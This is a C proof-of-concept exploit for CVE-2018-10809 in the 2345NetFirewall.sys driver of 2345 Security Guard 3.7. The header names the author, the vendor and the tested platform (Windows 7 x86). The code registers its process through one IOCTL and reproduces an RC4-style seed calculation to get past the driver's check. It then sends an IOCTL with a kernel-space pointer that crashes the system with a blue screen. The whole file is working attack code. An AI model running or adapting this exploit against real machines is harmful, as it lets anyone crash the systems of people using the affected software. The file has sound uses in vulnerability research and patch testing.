182 lines
No EOL
3.7 KiB
C
182 lines
No EOL
3.7 KiB
C
/*
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# Exploit Title: 2345 Security Guard 3.7 - Denial of Service
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# Date: 2018-05-08
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# Exploit Author: anhkgg
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# Vendor Homepage: http://safe.2345.cc/
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# Software Link: http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe
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# Version: v3.7
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# Tested on: Windows 7 x86
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# CVE : CVE-2018-10809
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#
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# BSOD caused of 2345NetFirewall.sys because of not validating input values，test version 3.7 on windows 7 x86 platform
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#
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#
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*/
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#include <windows.h>
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#include <stdio.h>
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struct NETFW_IOCTL_ADD_PID
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{
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DWORD pid;
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char seed[0x14];//
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};//0x18
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struct NETFW_IOCTL_SET_PID
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{
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BYTE set_state;//
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BYTE unk;//1
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WORD buf_len;//2
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DWORD pid;//4
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char buf[0x64];//8
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};//6c
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struct NETFW_IOCTL_222040
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{
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DWORD* ptr;
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DWORD size;
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};//
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int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
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{
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int result;
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*a1 ^= *a2;
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*a2 ^= *a1;
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result = (unsigned __int8)*a2;
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*a1 ^= result;
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return result;
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}
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int __stdcall sub_12A80(char *a1, int len, char *a3)
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{
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int result;
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unsigned __int8 v4;
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__int16 i;
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__int16 j;
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unsigned __int8 k;
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for ( i = 0; i < 256; ++i )
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a3[i] = i;
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a3[256] = 0;
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a3[257] = 0;
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k = 0;
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v4 = 0;
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result = 0;
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for ( j = 0; j < 256; ++j )
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{
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v4 += a3[j] + a1[k];
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f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
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result = (k + 1) / len;
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k = (k + 1) % len;
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}
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return result;
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}
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char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
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{
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char *result;
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__int16 i;
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unsigned __int8 v5;
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unsigned __int8 v6;
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v5 = a3[256];
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v6 = a3[257];
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for ( i = 0; i < len; ++i )
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{
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v6 += a3[++v5];
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f_XOR__12A30((BYTE*)&a3[v5], (BYTE*)&a3[v6]);
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a1[i] ^= a3[(unsigned __int8)(a3[v6] + a3[v5])];
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}
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a3[256] = v5;
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result = a3;
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a3[257] = v6;
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return result;
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}
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void calc_seed(char* seed, char* dst)
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{
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char Source1[26] = {0};
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char a3[300] = {0};
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Source1[0] = 8;
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Source1[1] = 14;
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Source1[2] = 8;
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Source1[3] = 10;
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Source1[4] = 2;
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Source1[5] = 3;
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Source1[6] = 29;
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Source1[7] = 23;
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Source1[8] = 13;
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Source1[9] = 3;
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Source1[10] = 15;
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Source1[11] = 22;
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Source1[12] = 15;
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Source1[13] = 7;
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Source1[14] = 91;
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Source1[15] = 4;
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Source1[16] = 18;
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Source1[17] = 26;
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Source1[18] = 26;
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Source1[19] = 3;
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Source1[20] = 4;
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Source1[21] = 1;
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Source1[22] = 15;
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Source1[23] = 25;
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Source1[24] = 10;
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Source1[25] = 13;
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sub_12A80(seed, 0x14, a3);
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sub_12B60(Source1, 0x1A, a3);
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memcpy(dst, Source1, 26);
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}
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int poc_2345NetFirewall()
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{
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HANDLE h = CreateFileA("\\\\.\\2345NetFirewall",
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GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
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NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
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if(h == INVALID_HANDLE_VALUE) {
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printf("[-] Open device error: %d\n", GetLastError());
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return 1;
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}
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DWORD BytesReturned = 0;
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DWORD ctlcode = 0x222298;
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NETFW_IOCTL_ADD_PID add_pid = {0};
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add_pid.pid = GetCurrentProcessId();
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if(!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
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printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
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}
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ctlcode = 0x2222A4;
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NETFW_IOCTL_SET_PID set_pid = {0};
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set_pid.pid = GetCurrentProcessId();
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set_pid.set_state = 1;
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calc_seed(add_pid.seed, set_pid.buf);
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set_pid.buf_len = 26;
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if(!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
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printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
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}
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//BSOD
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ctlcode = 0x222040;
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NETFW_IOCTL_222040 buf_222040 = {0};
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buf_222040.size = 1;
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buf_222040.ptr = (DWORD*)0x80000000;
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if(!DeviceIoControl(h, ctlcode, &buf_222040, sizeof(NETFW_IOCTL_222040), &buf_222040, sizeof(NETFW_IOCTL_222040), &BytesReturned, NULL)) {
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printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
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}
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return 0;
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}
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int main()
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{
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poc_2345NetFirewall();
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return 0;
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} |